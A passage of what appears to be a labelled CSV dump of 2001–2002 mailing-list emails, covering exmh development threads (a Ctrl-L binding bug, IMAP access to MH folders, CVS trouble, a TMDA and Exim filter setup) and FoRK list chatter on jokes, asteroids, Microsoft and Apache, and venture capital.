listman.redhat.com (Postfix) with ESMTP id DFA943002F; Tue, 2 Oct 2001 17:02:01 -0400 (EDT) Delivered-To: exmh-workers@listman.spamassassin.taint.org Received: from mail.spamassassin.taint.org (mail.spamassassin.taint.org [199.183.24.239]) by listman.redhat.com (Postfix) with ESMTP id 309802F422 for ; Tue, 2 Oct 2001 17:01:02 -0400 (EDT) Received: (from mail@localhost) by mail.redhat.com (8.11.0/8.8.7) id f92L12F21878 for exmh-workers@listman.redhat.com; Tue, 2 Oct 2001 17:01:02 -0400 Received: from mail2.lsil.com (mail2.lsil.com [147.145.40.22]) by mail.redhat.com (8.11.0/8.8.7) with ESMTP id f92L11g21859 for ; Tue, 2 Oct 2001 17:01:01 -0400 Received: from mhbs.lsil.com (mhbs [147.145.31.100]) by mail2.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id OAA14865 for ; Tue, 2 Oct 2001 14:00:57 -0700 (PDT) From: kchrist@lsil.com Received: from inca.co.lsil.com by mhbs.lsil.com with ESMTP for exmh-workers@spamassassin.taint.org; Tue, 2 Oct 2001 14:00:22 -0700 Received: from flytrap.co.lsil.com (flytrap.co.lsil.com [172.20.3.234]) by inca.co.lsil.com (8.9.3/8.9.3) with ESMTP id PAA26097 for ; Tue, 2 Oct 2001 15:00:21 -0600 (MDT) Received: from arrakis.co.lsil.com (arrakis [172.20.22.152]) by flytrap.co.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id PAA14673 for ; Tue, 2 Oct 2001 15:00:19 -0600 (MDT) Received: from arrakis (localhost [127.0.0.1]) by arrakis.co.lsil.com (8.9.1b+Sun/8.9.1) with ESMTP id PAA16677 for ; Tue, 2 Oct 2001 15:00:17 -0600 (MDT) X-Mailer: exmh version 2.5 07/09/2001 with nmh-1.0.4+dev To: exmh-workers@spamassassin.taint.org Subject: SeditBeautify bug Reply-To: Kevin.Christian@lsil.com Message-Id: <16675.1002056416@arrakis> X-Loop: exmh-workers@spamassassin.taint.org Sender: exmh-workers-admin@spamassassin.taint.org Errors-To: exmh-workers-admin@spamassassin.taint.org X-BeenThere: exmh-workers@spamassassin.taint.org X-Mailman-Version: 2.0.1 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: Discussion list for EXMH developers List-Unsubscribe: , List-Archive: Date: Tue, 02 Oct 2001 15:00:16 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit It appears that the binding for SeditBeautify applies to more than just the sedit window. Since SeditBeautify assumes we are in a sedit window the routine fails. (Try typing ctrl-l over the main window to see what I mean). The quick fix for this is to make the ^l more restrictive. However, I'd suggest keeping things the way the are and extending ^l to be a highlight toggle. If the window is currently highlighted (sedit or msg) re-display without highlighting and vice versa. While I can hack tcl, hacking tk is another story. Translation: I can't fix this bug myself. Any volunteers? Kevin _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers --==_Exmh_9973050780-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Kevin.Christian@lsil.com,"Wed, 24 Jul 2002 16:46:08 -0500",Re: [fwd: error exmh 2.5 07/13/2001 ],"--==_Exmh_601800448P Content-Type: text/plain; charset=us-ascii F> From: kchrist@lsil.com > Date: Wed, 24 Jul 2002 15:41:04 -0600 > > I think you are referring to a problem I noticed last October (see > attached email). If I remember correctly, the binding for SeditBeautify > is being applied outside of the sedit window and that results in the > behavior observed. > > Subject: SeditBeautify bug > Date: Tue, 02 Oct 2001 15:00:16 -0600 (16:00 CDT) > From: kchrist@lsil.com > > It appears that the binding for SeditBeautify applies to > more than just the sedit window. Since SeditBeautify assumes > we are in a sedit window the routine fails. (Try typing > ctrl-l over the main window to see what I mean). > > The quick fix for this is to make the ^l more restrictive. However, I'd > suggest keeping things the way the are and extending ^l to be a > highlight toggle. If the window is currently highlighted (sedit or msg) > re-display without highlighting and vice versa. > > While I can hack tcl, hacking tk is another story. Translation: I can't > fix this bug myself. Any volunteers? That's clearly the same bug. I don't think I can fix it either...I certainly can't while my copy of Brent's book is across town. I do understand parts of tk fairly well, but the event handlers give me a headache. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_601800448P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9PyAgK9b4h5R0IUIRAs7bAJ9uQUJ4MYEZf0/e6PuGSFSok9k1EQCfQxea dhHEFQpPCkqmstOtLRrRcz0= =RSdo -----END PGP SIGNATURE----- --==_Exmh_601800448P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Hal DeVore ,Chris Garrigues ,"Wed, 24 Jul 2002 17:13:03 -0500",Re: [fwd: error exmh 2.5 07/13/2001 ],">>>>> On Wed, 24 Jul 2002, ""Chris"" == Chris Garrigues wrote: Chris> Am I the only one for whom typing control-L to the main Chris> window causes this error? Getting it here too on a copy I haven't updated from CVS since about May sometime. --Hal _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 J C Lawrence ,exmh-users@spamassassin.taint.org,"Wed, 24 Jul 2002 20:55:02 -0700",Re: Folder computed replcomps (and replgroupcomps,"On Sun, 21 Jul 2002 16:37:21 -0500 Hal DeVore wrote: >>>>>> On Fri, 19 Jul 2002, ""J"" == J C Lawrence wrote: J> What would be great is if I could build the relevant comp file J> dynamically at runtime. > Sure. Use the ""folder change"" hooks. Create a proc named > Hook_FolderChangeSomething (where ""Something"" is meaningful and likely > to be unique in the universe just in case you distribute this to > others). Put the proc in a file in your ~/.tk/exmh directory, > regenerate the tclIndex, restart exmh. > In that proc you can do anything you want, like rewrite your > ~/Mail/comp file. Yeah, that would work, tho there are race conditions and likely/possible ugly side effects (eg unintentionally left-over comp files). I've ended up taking a very different route: TMDA (http://www.tmda.net). In particular I use TMDA outbound filters to add custom plus addresses to the messages I send to specific lists. For example, for the tmda-users list I want a From: address of claw+tmda@kanga.nu, so the relevant outbound filter is: to tmda-users@libertine.org ext=tmda which rewrites my From: header transparently. When I get next month's batch of password reminders from Mailman lists I'll be running about resubscribing to each list either with a standard plus address or a TMDA-based sender address (ie an address which only the list in question is able to send mail to). -+- Getting TMDA fully happy with nmh was a minor pain. Reasons: nmh, like MH, by default delivers outbound mail via SMTP to port 25 on a defined host. The port number cannot be configured (it calls getservbyname() which does a lookup against ""smtp"" in /etc/services). Ergo, you are constrained to use tell nmh to use tmda-sendmail instead of SMTP. Using sendmail as the delivery method under MH instead of SMTP is not recommended as is loses a number of useful bits of robustness in mail delivery failure modes. Further, when nmh is configured to use sendmail instead of SMTP nmh's whom tool calls sendmail as follows: .../sendmail/ -m -t -i -bv which creates problems: Postfix does not support ""-bv"" and returns in error Exim does not support ""-t"" with ""-bv"" and returns in error Don't mention Qmail. I won't use it. ""whom"" is far too useful as a component tool in MH to lose. It would be nice if someone gave the new crew working on nmh a shout about this. The ""-bv"" option to sendmail is pretty damned close to being Allman sendmail specific and thus unfriendly to other MTAs. Further there are many cases where it would be useful to configure a non-standard port to deliver outbound mail to via SMTP. nmh's current insistence on only using port 25 (or as specified in /etc/services) is a pain. I've worked out a hack to use TMDA with Exim while retaining nmh's ""whom"" support using Exim's system filter: 0) Make sure that the following options are set in ~/.tmda/config: DATADIR ALLOW_MODE_640 CRYPT_KEY_FILE FINGERPRINT 1) chgrp everything in and under ~/.tmda to group ""mail"". 2) Configure Exim as per the current TMDA HOW-TO. 3) Set the following options in exim.conf: message_filter = ""/etc/exim/filter"" message_filter_pipe_transport = address_pipe 4) /etc/exim/filter reads: # Exim filter testprint ""local_part: ${local_part: $h_From:}"" testprint ""domain: ${domain: $h_From:}"" if ""$h_X-tmda-fingerprint:"" is """" and ""${domain: $h_From:}"" is ""kanga.nu"" and ""${if exists {/home/${local_part:$h_From:}/.tmda} {true}{false}}"" is ""true"" then pipe ""/usr/bin/tmda-inject -c /home/${local_part:$h_From:}/.tmda/config"" finish endif Yes, that assumes that all user directories are under /home and that they use ~/.tmda/config instead of ~/.tmdarc. Hack appropriately for your setup. Basic explanation: Exim sends all outbound mail thru the system filter (if one is configured) before attempting delivery. The above system filter extracts the user from the From: address and pipes the message thru that user's TMDA setup via tmda-inject. The system filter runs as the same user as Exim, thus the requirement for the chgrp mail. If your Exim installation runs as a different user, chgrp as appropriate. It should be fairly easy to do something similar under Postfix, but I haven't investigated that end. Notes: This requires that all outbound mail that is to be processed with TMDA has a From: header which references a local user (suffixes are fine), and that the From: address is fully qualified with a known domain. If you're vhosting the above setup would be fairly trivial to extend for other domains and $HOME paths. I'm not vhosting on my desktop and so don't care. You could also qualify on envelope or other headers if you wish. A nice side effect of this approach for those running shared mail servers is that ALL users who have TMDA configs instantly get TMDA support for their outbound mail -- and in a manner that is less complex and less prone to end-user error than the typical TMDA configuration. Caveat Emptor. ObNote: I've also written a small patch against TMDA 0.58 to add a ""hold"" delivery method (identical to ""confirm"" except it sends no confirmation requests -- very useful for testing configs or doing silent sidetracking of mail). -- J C Lawrence ---------(*) Satan, oscillate my metallic sonatas. claw@kanga.nu He lived as a devil, eh? http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Christer Borang ,exmh-workers@spamassassin.taint.org,"Thu, 25 Jul 2002 11:23:44 +0200",Re: [fwd: error exmh 2.5 07/13/2001 ],"In message <5378.1027548783@dimebox>, Hal DeVore writes: > >>>>>> On Wed, 24 Jul 2002, ""Chris"" == Chris Garrigues wrote: > > Chris> Am I the only one for whom typing control-L to the main > Chris> window causes this error? > >Getting it here too on a copy I haven't updated from CVS since >about May sometime. It's in 2.5 as well. //Christer -- | Sys admin @ MEDIC WWW: http://www.dtek.chalmers.se/ | | Email: mort@dtek.chalmers.se Phone: (0)31 772 5431, (0)707 53 57 57 | ""I fought the loa and the loa won, I fought the loa and the loa won..."" -- Dave Aronsson, a.s.r. _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 CDale ,Lucas Gonze ,"Wed, 24 Jul 2002 16:10:15 -0500 (CDT)","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","Whatcha call the guy who hangs out with the band? The drummer. C On Wed, 24 Jul 2002, Lucas Gonze wrote: > > Music school jokes -- > > American conductor and European conductor are talking. European conductor > says ""what a week, I've had 5 rehearsals and a performance."" ""That's > nothing,"" says the American conductor, ""I've had five performances and a > rehearsal."" > > What's the difference between a spring in the desert surrounded by palm > trees and a violist that plays in tune? A violist that plays in tune is a > mirage. > > What's the difference between a rat and a guitar player? The rat's got > something to do tonight. > > Good thing it's not comedy school. > > > > http://xent.com/mailman/listinfo/fork > -- ""My theology, briefly, is that the universe was dictated but not signed."" (Christopher Morley) http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Flatware or Road Kill? ,"Wed, 24 Jul 2002 15:17:40 -0700","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","There are so many good musician jokes. A couple of my favorites: Q. What's the difference between a viola and a violin? A. A viola burns longer. Q. What's the definition of a minor second? A. Two oboes playing in unison. - Joe http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,Flatware or Road Kill? ,24 Jul 2002 18:23:37 -0400,"Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)",">>>>> ""J"" == Joseph S Barrera, writes: J> There are so many good musician jokes. I'd resisted after the first post, but now? Ok, two musicians and a banjo player walk into a music store ... -- Gary Lawrence Murphy TeleDynamics Communications Inc Clawhammer Banjo, Mandolin, Fiddle, Mountain Dulcimer, Guitar, Bodhran ""You don't play what you know; you play what you hear."" ---- Miles Davis http://xent.com/mailman/listinfo/fork",0,1 Wayne Baisley ,Flatware or Road Kill? ,"Wed, 24 Jul 2002 17:39:47 -0500","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","> There are so many good musician jokes. Young Lutheran's Guide To The Orchestra Cheers, Wayne http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,Rodent of Unusual Size ,"Thu, 25 Jul 2002 12:24:25 +0200 (CEST)",Re: Asteroids anyone ?,"On Thu, 25 Jul 2002, Rodent of Unusual Size wrote: > Doesn't apply to this one; you're off by three orders of magnitude. > Only 2km diametre, this one. Of course, that's still a lot of mass > to hit the planet even if it *is* in the form of dust and gas. Antimissile defense is designed to operate in ~LEO environment, and knocks out stuff by kinetic kill or nearby nuking (damage by neutron flux impacting the fissibles). It is *not* designed to apply a 100 MT warhead (we don't have these, and synchonous impact is even more out of question) detonate-on-impact to a 28 km/s rock or rubble target. A 100 MT warhead most assuredly will scarcely fragment a 2 km target in the few seconds left before the impact. This is so obvious it doesn't even to need to be modeled. > Even if Shrub's wrist-rocket managed to vaporise it, we'd still get > transference to the Earth's energy balance, only to the atmosphere > rather than the litho- or hydrosphere. The anti-missile defense is about worse than useless in this case. The only way to protect is determining orbits at high precision and deflecting long-term. Decades for targets this size. http://xent.com/mailman/listinfo/fork",0,1 Rodent of Unusual Size ,Flatware or Road Kill? ,"Thu, 25 Jul 2002 06:11:23 -0400",Re: Asteroids anyone ?,"James Rogers wrote: > > I don't think a ballistic missile defense system will be much help > against a rock a couple thousand kilometers in diameter. Doesn't apply to this one; you're off by three orders of magnitude. Only 2km diametre, this one. Of course, that's still a lot of mass to hit the planet even if it *is* in the form of dust and gas. Even if Shrub's wrist-rocket managed to vaporise it, we'd still get transference to the Earth's energy balance, only to the atmosphere rather than the litho- or hydrosphere. -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!"" http://xent.com/mailman/listinfo/fork",0,1 Stephen Hocking ,exmh-users@spamassassin.taint.org,"Thu, 25 Jul 2002 09:06:42 -0500",Imap servers that support the MH folder/file standards,">>>From time to time I have to travel, and seem to end up with a rather slow link back home that makes remote display of exmh rather slow, even over ssh and/or VNC. What I'd like to do is use an imap capable mailer to communicate with an imap server that is serving up my MH folders. Does anyone know of any Imap servers that can do this? I'd like it to be able to handle the mailstore using MH commands so things don't get out of sync. At the moment I use a combo of fetchmail and procmail to handle soring things when I'm local, and it's possible that an imap server would mung this when I deleted a message remotely. Stephen -- The views expressed above are not those of PGS Tensor. ""We've heard that a million monkeys at a million keyboards could produce the Complete Works of Shakespeare; now, thanks to the Internet, we know this is not true."" Robert Wilensky, University of California _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,Brent Welch ,"Thu, 25 Jul 2002 09:17:01 -0500",Re: folders moving around in the unseen window,"--==_Exmh_-1233982810P Content-Type: text/plain; charset=us-ascii > From: Brent Welch > Date: Thu, 18 Jul 2002 08:13:53 -0700 > > Unfortunately, an unattributed patch may or may not be a contributed patch > as I'm not always good about recording the source of a patch. I suspect > this patch may have been contributed from someone that uses the > auto-pack or auto-sort features, which I don't use. This change should be > tested against those features. I'm running with autosort right now. If I don't see any problems, I' run with autopack for a while. I did find some stuff that was being called too many times when auto-sort was enabled, but otherwise it seems to be working. My computer is a lot faster than the last time I tried autosort (back in the mid-90s); this is actually acceptable. Once I've confirmed that nothing actually breaks, I think I'll look into a few more places that autosort needs to be called, because right now it only sorts when you change to a folder, but if a new message arrives in the folder you're looking at, it doesn't get sorted. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1233982810P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9QAhdK9b4h5R0IUIRArP5AJ9VlUsxOjQhik1UZuFl1Yyta0XMFgCgiZw4 VdvKT009spZK/h2q6HJTqX8= =+Ns2 -----END PGP SIGNATURE----- --==_Exmh_-1233982810P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 pll@lanminds.com,exmh-users@spamassassin.taint.org,"Thu, 25 Jul 2002 10:27:11 -0400",Re: Imap servers that support the MH folder/file standards,">>>>> On Thu, 25 Jul 2002, ""Stephen"" == Stephen Hocking wrote: Stephen> What I'd like to do is use an imap capable mailer to Stephen> communicate with an imap server that is serving up my MH Stephen> folders. Does anyone know of any Imap servers that can do Stephen> this? This topic comes up every so often on this list. The short answer is no, there really isn't an IMAP server which knows how to do this. The longer answer is, UW-IMAP claims it does, but doesn't do a good job, and doesn't update scan caches, unseen, etc. You may have better luck while on the road using raw mh commands to read you e-mail if you have ssh access to your internal environment. I've been doing this for quite a long time, and, after the learning curve of the mh command set (which I still don't know completely), I'm quite able to access my e-mail and respond to those e-mails which require a response. Another option is using mutt as your mail client when you're remotely accessing e-mail. Mutt does a decent job of dealing with mh folders, though it doesn't update scan caches or unseen files either. But it is a decent interface alternative to raw mh, and it's quite customizable. The real answer to your question is that we need not an IMAP server that understands mh folders, but an mh server to which a local client could connect to. In theory, it shouldn't be too hard (technically) to cobble this together with ssh. Replace all of exmh's calls to mh commands with a wrapper which uses ssh to lob these commands over to a remote system, and dump the output back into the local exmh client. -- Seeya, Paul _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,exmh-users@spamassassin.taint.org,"Thu, 25 Jul 2002 10:40:28 -0500",Re: Imap servers that support the MH folder/file standards,"--==_Exmh_-178228168P Content-Type: text/plain; charset=us-ascii > From: Stephen Hocking > Date: Thu, 25 Jul 2002 09:49:46 -0500 > > As far as I understand, exmh also does some direct file access to do > things, so the daemon would also have to be able to duplicate this, > and the relevant bits inside exmh would have to be tweaked. It does. If anybody in the nmh world actually gets to the point of actually implementing imap access, this will need to change, but until there exists an environment where the direct access doesn't work, we're not going to take the performance hit. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-178228168P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9QBvsK9b4h5R0IUIRAjvCAKCPgWXNzEZeGqZzndi4c/eCvYFwjACfXyIf unh9xzeNTBgaVtCoOJ4MErU= =DXeG -----END PGP SIGNATURE----- --==_Exmh_-178228168P-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Gregory Alan Bolcer"" ",FoRK ,"Thu, 25 Jul 2002 10:56:39 -0700",Covalent.NET,"[1] Covalent works with Microsoft to provide ASP.NET capabilities for Apache 2.0. ASP.NET actually has some really elegant tools for doing load testing and analysis. Perhaps Microsoft's desire to embrace, extend, and extinguish comes from a scathing Gartner report recommending not to deploy IIS for enterprise applications at all. Now users get the best of both worlds: all the development tools of ASP.Net and the security and reliability of Apache. Greg -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com [1]http://www.infoworld.com/articles/hn/xml/02/07/25/020725hnapachenet.xml > With help from Microsoft in Redmond, Wash., Covalent said it was able to develop a > module for its Enterprise Ready Server that would allow ASP.Net applications to run on > Apache 2.0. However, organizations that use the freely available Web server won't be able > to run ASP.Net applications unless they purchase Covalent's software. Zemlin said that the > company doesn't plan to release an open-source version of its .Net module. http://xent.com/mailman/listinfo/fork",0,1 """Gregory Alan Bolcer"" ",FoRK ,"Thu, 25 Jul 2002 16:54:59 -0700",OpenWave,"OPWV and a bad moon rising. > Zacks Issues Recommendations on 4 Stocks: DYN, MANU, SWY and OPWV > > PR Newswire, Thursday, July 25, 2002 at 06:03 > > /FROM PR NEWSWIRE CHICAGO 888-776-6551/ [STK] DYN MANU SWY OPWV [IN] FIN MLM [SU] INO -- WITH PHOTO -- TO BUSINESS EDITOR: > > Zacks Issues Recommendations on 4 Stocks: DYN, MANU, SWY and OPWV > > CHICAGO, July 25 /PRNewswire/ -- Zacks.com releases details on four more stocks that are part of their exclusive list of Stocks to Sell Now. These stocks are currently rated as a Zacks Rank #5 (Strong Sell). These stocks have been proven to under-perform the S&P 500 by 89.8% since its inception in 1980. While the rest of Wall Street continued to tout stocks during the market declines of the last few years, we were telling our customers which stocks to sell in order to save themselves the misery of unrelenting losses. Among the #5 ranked stocks today we highlight the following companies: Dynegy, Inc. (NYSE:DYN) and Manugistics Group, Inc. (NASDAQ:MANU), Safeway, Inc. (NYSE:SWY) and Openwave Systems, Inc. (NASDAQ:OPWV). To see the full Zacks #5 Ranked list of Stocks to Sell Now then visit http://stockstosellpr.zacks.com . -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com http://xent.com/mailman/listinfo/fork",0,1 Hal DeVore ,Brent Welch ,"Fri, 26 Jul 2002 18:38:09 -0500",Re: cvs access working?,"I just successfully did a cvs update via ssh. My CVS root looks a little different than yours. cat CVS/Root :ext:haldevore@cvs.exmh.sourceforge.net:/cvsroot/exmh --Hal _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Brent Welch ,exmh-workers@spamassassin.taint.org,"Fri, 26 Jul 2002 15:00:57 -0700",cvs access working?,"Can anyone access the CVS server for exmh? The last thing I was able to do was try a ""cvs commit"", but I got an ""up-to-date check failed"" for a couple files, exmh.CHANGES and lib/msg.tcl, I think, so I then tried ""cvs update"". I get a password prompt, and then it just hangs. cat CVS/Root welch@cvs.sourceforge.net:/cvsroot/exmh -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Brent Welch ,"Sun, 28 Jul 2002 16:05:37 -0500",Re: cvs access working?,"--==_Exmh_13609133P Content-Type: text/plain; charset=us-ascii > From: Brent Welch > Date: Fri, 26 Jul 2002 15:00:57 -0700 > > Can anyone access the CVS server for exmh? > The last thing I was able to do was try a ""cvs commit"", but > I got an ""up-to-date check failed"" for a couple files, > exmh.CHANGES and lib/msg.tcl, I think, so I then tried ""cvs update"". > I get a password prompt, and then it just hangs. > > cat CVS/Root > welch@cvs.sourceforge.net:/cvsroot/exmh I did a commit on friday and I just did an update right now. cat CVS/Root :ext:cwg@cvs.exmh.sourceforge.net:/cvsroot/exmh -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_13609133P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9RFygK9b4h5R0IUIRAvp1AJ4uedoak2We0nGHfzih7g+6TZEI3QCfccvt GLM1U8Y3z4JPyzUYNHLE0Zc= =6M2X -----END PGP SIGNATURE----- --==_Exmh_13609133P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,"Brent Welch , exmh-workers@spamassassin.taint.org","Sun, 28 Jul 2002 16:25:59 -0500",Re: cvs access working?,"--==_Exmh_49691723P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Sun, 28 Jul 2002 16:05:37 -0500 > > I did a commit on friday and I just did an update right now. I just did another commit. It was a minor change I'd been thinking of, so I thought I'd check it in just to test cvs. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_49691723P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9RGFnK9b4h5R0IUIRAllfAJ9BUoCuOA3+kOIMHVBeRU5S7HPg7gCeKv0Z j0oRuMgmAL+NMS9sjvoXyVw= =OzEq -----END PGP SIGNATURE----- --==_Exmh_49691723P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Rohit Khare ,Fork@xent.com,"Fri, 26 Jul 2002 16:09:43 -0400","TRAVELMAN: if it's Tuesday, it must be London...","Well, it wouldn't be my own vanity list if I didn't forward at least a little purely self-interested data. This week is my Europe Week. In classic TRAVELMAN fashion, I'm hitting two nights each in Paris, London, Hamburg, and Copenhagen. I get to cure Rob's brain-pains this weekend, though at risk of missing the big concert in London Sunday :-( > Around Town > Channel 4's Indian Summer > > As England meets India in four test matches this Summer, Channel 4 > brings together a host of activities reflecting Indian life in a free > event held over the weekend (27/28 July). A huge screen in Regent's > Park will bring coverage of the first Test Match live from Lords > throughout the weekend. Marylebone Green will be the setting for a > chance to sample a mix of Indian food, music and film; an 8-piece > Indian-style brass band will be performing Bollywood tunes, and there > will be live DJ sets as well as performance by The Angel Dancers, who > have performed with Bollywood stars around the world. In the evening > (27), there will be an open-air screening of the comedy hit 'Monsoon > Wedding'. A live concert by award-winning, British-Asian artist Nitin > Sawhney will bring the weekend to a climax on 28 July, with special > guests including Badmarsh & Shri and Asian Dub Foundation. > > 27-28 July, 10.30am-9pm, Marylebone Green, Regent's Park. Baker Street/ > Great Portland Street/ Regent's Park tube Instead, I'm arriving in London on Monday morning, staying through a show of Andrew Lloyd Weber's new production, Bombay Dreams > Bombay Dreams Set to be the latest in a long line of Andrew Lloyd > Webber smash hits comes 'Bombay Dreams', based on the book by Meera > Syal, and lyrics by AR Rahman, whose last project was the > Oscar-nominated 'Lagaan'. The project cost 4 million and doesn't > feature a single note of Lloyd Webber's music - which may or may not be > a good thing! > > Until 29 Sept, 7.45pm Mon-Tue & Fri, 3pm & 7.45pm.Wed & Sat, Apollo > Victoria, Wilton Road, SW1 (0870 4000 650). Victoria tube/rail. I'll be visiting a cousin-in-law (my cousin's visa is still in the works... a looong process). The next stop is to visit a cousin's family proper, and a niece I haven't met since she was born 3-4 years ago. Should be a blast! Finally, Friday and Saturday of next week will be Copenhagen for Henrik's second wedding... to the same woman, tho! :-) Bon voyage, Rohit PS. Yes, it's egotistical to wish oneself a ""Bon Voyage"". Screw it, it's my list, dammit! --- My permanent email address is khare@alumni.caltech.edu http://xent.com/mailman/listinfo/fork",0,1 Eirikur Hallgrimsson ,FoRK ,"Sun, 28 Jul 2002 23:20:56 -0400",NYT: Venture Capitalists Are Taking the Gloves Off,"The trend isn't news, but some of the details of the ugliness are interesting. Worth FoRKing for the archives, too. http://www.nytimes.com/2002/07/28/business/yourmoney/28VENT.html?todaysheadlines=&pagewanted=print&position=top July 28, 2002 Venture Capitalists Are Taking the Gloves Off By LYNNLEY BROWNING The venture capital world is looking less like a genteel club and more like a brawling barroom. Venture capitalists are offering the companies they bankroll increasingly hard-knuckled deals that leave little wealth for a start-up's managers or original backers. The moves are leading some entrepreneurs, desperate for money, to decry today's investors as bullies. Some venture capitalists are even suing rival venture firms, asserting that the tough new terms are wiping out the value of their previous investments. ""People are playing hardball,"" said Ted Dintersmith, a general partner at Charles River Ventures, based in Waltham, Mass. The bursting of the Internet stock bubble more than two years ago wiped out many venture investments in dot-coms. Now, amid the bear market in stocks and limited prospects for investors or young companies to make money soon, venture capitalists are looking for novel ways to make money. As a result, ""private companies are facing the most onerous terms from venture capitalists that we have seen in 20 years,"" said Steven E. Bochner, a securities lawyer at Wilson Sonsini Goodrich & Rosati in Palo Alto, Calif., who represents venture firms. In the boom of the late 1990's, venture capitalists chose one of two options. They could be paid back their invested capital, share in profits and receive dividends. Or they could convert their preferred shares into common stock when the private company held an initial public offering or was sold. During that time of huge payouts for newly public and acquired companies, they usually chose No. 2. But with markets now all but dead for initial public offerings and mergers and acquisitions, venture capitalists from Silicon Valley to the East Coast are increasingly demanding - and getting - both options. This ""double dip,"" known as ""participating preferred,"" leaves far less potential wealth for a company's founders and previous investors. Venture capitalists are also negotiating more deals with heightened ""liquidation preferences,"" in which start-ups agree to pay back the initial investment at least two or three times over. Previously, venture capitalists handed over money to a start-up in a lump sum. But more are now parceling out funds in tranches, and then only when the new companies reach certain milestones - a sales target, for example, or the hiring of a particular chief executive. They are even trying to protect their investments through veto rights that permit them to block future investments from other venture capitalists who might dilute their stakes, said Mark G. Borden, chairman of the corporate department at Hale & Dorr, a law firm based in Boston. As a result, Mr. Borden said, a start-up company that casts its lot with a particular venture capitalist or group of investors may find itself tethered to those backers and unable to raise new money elsewhere. ENTREPRENEURS particularly dislike one recent trend: venture capitalists have been pushing young companies to agree, 